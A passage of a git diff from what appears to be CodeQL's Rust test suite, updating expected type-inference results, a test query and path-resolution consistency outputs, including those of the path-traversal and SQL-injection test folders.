main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:24:1648:26 | ! ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:25:1648:26 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1658:18:1658:21 | SelfParam | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1661:25:1663:5 | { ... } | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1662:9:1662:10 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1665:41:1669:5 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1665:41:1669:5 | { ... } | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1665:41:1669:5 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1666:9:1668:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1666:9:1668:9 | { ... } | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1666:9:1668:9 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1667:13:1667:14 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1676:17:1676:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | +| main.rs:1676:17:1676:46 | SelfParam | Ptr | file://:0:0:0:0 | & | +| main.rs:1676:17:1676:46 | SelfParam | Ptr.&T | main.rs:1671:5:1671:14 | S2 | +| main.rs:1676:49:1676:51 | _cx | | file://:0:0:0:0 | & | +| main.rs:1676:49:1676:51 | _cx | &T | {EXTERNAL LOCATION} | Context | +| main.rs:1676:116:1678:9 | { ... } | | {EXTERNAL LOCATION} | Poll | +| main.rs:1676:116:1678:9 | { ... } | T | main.rs:1655:5:1655:14 | S1 | +| main.rs:1677:13:1677:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | +| main.rs:1677:13:1677:38 | ...::Ready(...) | T | main.rs:1655:5:1655:14 | S1 | +| main.rs:1677:36:1677:37 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1681:41:1683:5 | { ... } | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1681:41:1683:5 | { ... } | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1682:9:1682:10 | S2 | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1682:9:1682:10 | S2 | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1686:9:1686:12 | f1(...) | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1686:9:1686:12 | f1(...) | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1686:9:1686:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1687:9:1687:12 | f2(...) | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1687:9:1687:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1688:9:1688:12 | f3(...) | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1688:9:1688:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1689:9:1689:10 | S2 | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1689:9:1689:16 | await S2 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1690:13:1690:13 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1690:13:1690:13 | b | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1690:17:1692:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1690:17:1692:9 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1691:13:1691:14 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1693:9:1693:9 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1693:9:1693:9 | b | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1693:9:1693:15 | await b | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1703:15:1703:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1703:15:1703:19 | SelfParam | &T | main.rs:1702:5:1704:5 | Self [trait Trait1] | +| main.rs:1707:15:1707:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1707:15:1707:19 | SelfParam | &T | main.rs:1706:5:1708:5 | Self [trait Trait2] | +| main.rs:1711:15:1711:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1711:15:1711:19 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1715:15:1715:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1715:15:1715:19 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1718:37:1720:5 | { ... } | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1718:37:1720:5 | { ... } | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1719:9:1719:10 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1719:9:1719:10 | S1 | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1723:18:1723:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1723:18:1723:22 | SelfParam | &T | main.rs:1722:5:1724:5 | Self [trait MyTrait] | +| main.rs:1727:18:1727:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1727:18:1727:22 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1727:31:1729:9 | { ... } | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1728:13:1728:14 | S2 | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1732:45:1734:5 | { ... } | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1732:45:1734:5 | { ... } | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1733:9:1733:10 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1733:9:1733:10 | S1 | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1736:41:1736:41 | t | | main.rs:1736:26:1736:38 | B | +| main.rs:1736:52:1738:5 | { ... } | | main.rs:1736:23:1736:23 | A | +| main.rs:1737:9:1737:9 | t | | main.rs:1736:26:1736:38 | B | +| main.rs:1737:9:1737:17 | t.get_a() | | main.rs:1736:23:1736:23 | A | +| main.rs:1740:26:1740:26 | t | | main.rs:1740:29:1740:43 | ImplTraitTypeRepr | +| main.rs:1740:51:1742:5 | { ... } | | main.rs:1740:23:1740:23 | A | +| main.rs:1741:9:1741:9 | t | | main.rs:1740:29:1740:43 | ImplTraitTypeRepr | +| main.rs:1741:9:1741:17 | t.get_a() | | main.rs:1740:23:1740:23 | A | +| main.rs:1745:13:1745:13 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1745:17:1745:20 | f1(...) | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1746:9:1746:9 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1747:9:1747:9 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1748:13:1748:13 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1748:17:1748:32 | get_a_my_trait(...) | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1749:13:1749:13 | b | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1749:17:1749:33 | uses_my_trait1(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1749:32:1749:32 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1750:13:1750:13 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1750:17:1750:32 | get_a_my_trait(...) | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1751:13:1751:13 | c | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1751:17:1751:33 | uses_my_trait2(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1751:32:1751:32 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1752:13:1752:13 | d | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1752:17:1752:34 | uses_my_trait2(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1752:32:1752:33 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1763:16:1763:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1763:16:1763:20 | SelfParam | &T | main.rs:1759:5:1760:13 | S | +| main.rs:1763:31:1765:9 | { ... } | | main.rs:1759:5:1760:13 | S | +| main.rs:1764:13:1764:13 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1774:26:1776:9 | { ... } | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1774:26:1776:9 | { ... } | T | main.rs:1773:10:1773:10 | T | +| main.rs:1775:13:1775:38 | MyVec {...} | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1775:13:1775:38 | MyVec {...} | T | main.rs:1773:10:1773:10 | T | +| main.rs:1775:27:1775:36 | ...::new(...) | | {EXTERNAL LOCATION} | Vec | +| main.rs:1775:27:1775:36 | ...::new(...) | T | main.rs:1773:10:1773:10 | T | +| main.rs:1778:17:1778:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1778:17:1778:25 | SelfParam | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1778:17:1778:25 | SelfParam | &T.T | main.rs:1773:10:1773:10 | T | +| main.rs:1778:28:1778:32 | value | | main.rs:1773:10:1773:10 | T | +| main.rs:1779:13:1779:16 | self | | file://:0:0:0:0 | & | +| main.rs:1779:13:1779:16 | self | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1779:13:1779:16 | self | &T.T | main.rs:1773:10:1773:10 | T | +| main.rs:1779:13:1779:21 | self.data | | {EXTERNAL LOCATION} | Vec | +| main.rs:1779:13:1779:21 | self.data | T | main.rs:1773:10:1773:10 | T | +| main.rs:1779:28:1779:32 | value | | main.rs:1773:10:1773:10 | T | +| main.rs:1787:18:1787:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1787:18:1787:22 | SelfParam | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1787:18:1787:22 | SelfParam | &T.T | main.rs:1783:10:1783:10 | T | +| main.rs:1787:25:1787:29 | index | | {EXTERNAL LOCATION} | usize | +| main.rs:1787:56:1789:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1787:56:1789:9 | { ... } | &T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:13:1788:29 | &... | | file://:0:0:0:0 | & | +| main.rs:1788:13:1788:29 | &... | &T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:17 | self | | file://:0:0:0:0 | & | +| main.rs:1788:14:1788:17 | self | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1788:14:1788:17 | self | &T.T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:22 | self.data | | {EXTERNAL LOCATION} | Vec | +| main.rs:1788:14:1788:22 | self.data | T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:29 | ...[index] | | main.rs:1783:10:1783:10 | T | +| main.rs:1788:24:1788:28 | index | | {EXTERNAL LOCATION} | usize | +| main.rs:1792:22:1792:26 | slice | | file://:0:0:0:0 | & | +| main.rs:1792:22:1792:26 | slice | &T | file://:0:0:0:0 | [] | +| main.rs:1792:22:1792:26 | slice | &T.[T] | main.rs:1759:5:1760:13 | S | +| main.rs:1793:13:1793:13 | x | | main.rs:1759:5:1760:13 | S | +| main.rs:1793:17:1793:21 | slice | | file://:0:0:0:0 | & | +| main.rs:1793:17:1793:21 | slice | &T | file://:0:0:0:0 | [] | +| main.rs:1793:17:1793:21 | slice | &T.[T] | main.rs:1759:5:1760:13 | S | +| main.rs:1793:17:1793:24 | slice[0] | | main.rs:1759:5:1760:13 | S | +| main.rs:1793:17:1793:30 | ... .foo() | | main.rs:1759:5:1760:13 | S | +| main.rs:1793:23:1793:23 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1797:13:1797:19 | mut vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1797:13:1797:19 | mut vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1797:23:1797:34 | ...::new(...) | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1797:23:1797:34 | ...::new(...) | T | main.rs:1759:5:1760:13 | S | +| main.rs:1798:9:1798:11 | vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1798:9:1798:11 | vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1798:18:1798:18 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1799:9:1799:11 | vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1799:9:1799:11 | vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1799:13:1799:13 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1801:13:1801:14 | xs | | file://:0:0:0:0 | [] | +| main.rs:1801:13:1801:14 | xs | | file://:0:0:0:0 | [] | +| main.rs:1801:13:1801:14 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:13:1801:14 | xs | [T] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:21:1801:21 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1801:26:1801:28 | [...] | | file://:0:0:0:0 | [] | +| main.rs:1801:26:1801:28 | [...] | | file://:0:0:0:0 | [] | +| main.rs:1801:26:1801:28 | [...] | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:26:1801:28 | [...] | [T] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:27:1801:27 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:13:1802:13 | x | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:18 | xs | | file://:0:0:0:0 | [] | +| main.rs:1802:17:1802:18 | xs | | file://:0:0:0:0 | [] | +| main.rs:1802:17:1802:18 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:18 | xs | [T] | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:21 | xs[0] | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:27 | ... .foo() | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:20:1802:20 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1804:23:1804:25 | &xs | | file://:0:0:0:0 | & | +| main.rs:1804:23:1804:25 | &xs | &T | file://:0:0:0:0 | [] | +| main.rs:1804:23:1804:25 | &xs | &T | file://:0:0:0:0 | [] | +| main.rs:1804:23:1804:25 | &xs | &T.[T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1804:23:1804:25 | &xs | &T.[T] | main.rs:1759:5:1760:13 | S | +| main.rs:1804:24:1804:25 | xs | | file://:0:0:0:0 | [] | +| main.rs:1804:24:1804:25 | xs | | file://:0:0:0:0 | [] | +| main.rs:1804:24:1804:25 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1804:24:1804:25 | xs | [T] | main.rs:1759:5:1760:13 | S | +| main.rs:1810:5:1810:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:5:1811:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:20:1811:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:41:1811:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1827:5:1827:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | +testFailures diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index cea5839c6ad..2278cde8a8f 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -3,22 +3,7 @@ import utils.test.InlineExpectationsTest import codeql.rust.internal.TypeInference as TypeInference import TypeInference -final private class TypeFinal = Type; - -class TypeLoc extends TypeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - -query predicate inferType(AstNode n, TypePath path, TypeLoc t) { +query predicate inferType(AstNode n, TypePath path, Type t) { t = TypeInference::inferType(n, path) and n.fromSource() and not n.isFromMacroExpansion() @@ -70,10 +55,13 @@ module TypeTest implements TestSig { exists(AstNode n, TypePath path, Type t | t = TypeInference::inferType(n, path) and location = n.getLocation() and - element = n.toString() and if path.isEmpty() then value = element + ":" + t else value = element + ":" + path.toString() + "." + t.toString() + | + element = n.toString() + or + element = n.(IdentPat).getName().getText() ) } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.qlref b/rust/ql/test/library-tests/type-inference/type-inference.qlref new file mode 100644 index 00000000000..03d8a9288aa --- /dev/null +++ b/rust/ql/test/library-tests/type-inference/type-inference.qlref @@ -0,0 +1,2 @@ +query: type-inference.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected index e4c5c7393e4..85a794a0410 100644 --- a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected @@ -7,3 +7,16 @@ multipleMethodCallTargets | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | | main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +multiplePathResolutions +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:85:19:85:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:102:19:102:30 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..8e261e29676 --- /dev/null +++ b/rust/ql/test/query-tests/diagnostics/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,7 @@ +multiplePathResolutions +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | +| my_struct.rs:25:19:25:30 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected index ed21d9772fc..563e370b4ed 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected @@ -6,7 +6,7 @@ | Files extracted - without errors % | 57 | | Inconsistencies - AST | 0 | | Inconsistencies - CFG | 0 | -| Inconsistencies - Path resolution | 0 | +| Inconsistencies - Path resolution | 1 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | | Lines of code extracted | 60 | diff --git a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected index 88e64c648bc..abeca72b351 100644 --- a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected @@ -4,6 +4,8 @@ multiplePathResolutions | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | @@ -14,6 +16,8 @@ multiplePathResolutions | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | @@ -24,6 +28,8 @@ multiplePathResolutions | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | @@ -34,6 +40,8 @@ multiplePathResolutions | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected index ea9e17f0c1d..3156d05ef17 100644 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,274 @@ +multiplePathResolutions +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:46:24:46:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:47:56:47:67 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:48:97:48:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:50:24:50:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| 